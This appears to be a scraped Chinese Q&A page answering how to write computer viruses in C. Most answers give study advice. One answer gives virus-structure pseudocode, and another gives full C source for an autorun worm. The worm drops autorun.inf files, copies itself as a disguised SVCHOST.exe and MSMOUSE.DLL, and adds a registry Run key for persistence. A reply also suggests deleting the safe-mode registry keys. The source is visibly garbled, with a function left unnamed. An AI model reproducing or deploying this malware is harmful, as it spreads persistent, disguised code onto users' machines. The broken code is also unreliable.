当前位置:首页 » 编程语言 » c语言做病毒需要学什么
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

c语言做病毒需要学什么

发布时间: 2022-08-15 04:30:38

⑴ 学会了c语言,还要学习什么知识才能编写病毒

WINDOWS系统原理,注册表等等

P.S.
你说你除了解决数学问题什么都不会,说明你没有练习过编写实际应用的程序,应该多试试编写自己感兴趣的程序

病毒,最简单的不就是删几个文件,改改注册表了

⑵ 我想学写病毒代码,不知要先学什么

从C语言开始学吧..
不过你现在什么都不懂的状态的话,是很要下工夫的(要能随意随地的写代码,我想至少也要学个2年吧)

⑶ 做病毒要学什么

首先就是要学习编程语言
再有就是要学习网络基础知识和网络安全知识
还有就是系统分析.....

⑷ 怎样用C语言编写病毒 / 蓝讯

要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

⑸ 如何用C语言写病毒

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;

警告:不会修改注册表的人;别运行本程序...

⑹ 怎么用C语言写病毒

操作系统吧,感觉这个挺重要的

⑺ 学完C语言,在学什么才能写出病毒

我觉得你要能够编写出病毒程序至少还要学习《操作系统》、《数据结构》以及一些网路安全相关的书。

⑻ 有同学告诉我在用C语言做杀毒软件,怎么回事那需要哪些知识

用C语言能做杀毒软件 那你同学一定非常牛了
这不仅需要C语言的全部知识,而且要用到很多有关信息安全专业的专业知识
非计算机专业的是很难完成这种任务的
更何况现在市面上的杀毒软件一般都不太会用C语言来编写的 C语言更多是用来开发系统的
我猜你同学应该编的是针对某种病毒的杀毒软件

⑼ 研究编写计算机病毒都要学什么

1.熟悉系统结构,了解注册表,熟悉PE文件结构(计算机病毒隐藏感染必须要知道这些)
2.熟练掌握编程,目前功能最强大的是VC++,很多强大的病毒都是用他编写的。
还要简单学习社会工程学和密码心理学,这些对病毒的隐藏和传播功能设计都很有帮助。

⑽ 编写病毒代码,需要学什么(注:我已会C语言)

写病毒用什么语言都可以。不过是一种工具,你只要精通它就行,要了解底层的东西,比如操作系统,计算机组成原理。
还有,谁说goto在C语言里禁用了?你去找到那个这么说的人,狠狠的抽他俩嘴巴!
goto不是天生的恶魔,C89,C99标准没有取消它是有根据的。比如,for语句里套switch,在switch里怎么跳出循环?break可不行。在比如,输入法的软键盘,需要检索你按的那个键,如何构词。goto就是最好的解决办法。楼上的那兄弟用goto写的是循环,没有for这类的语句的时候,就是用的goto。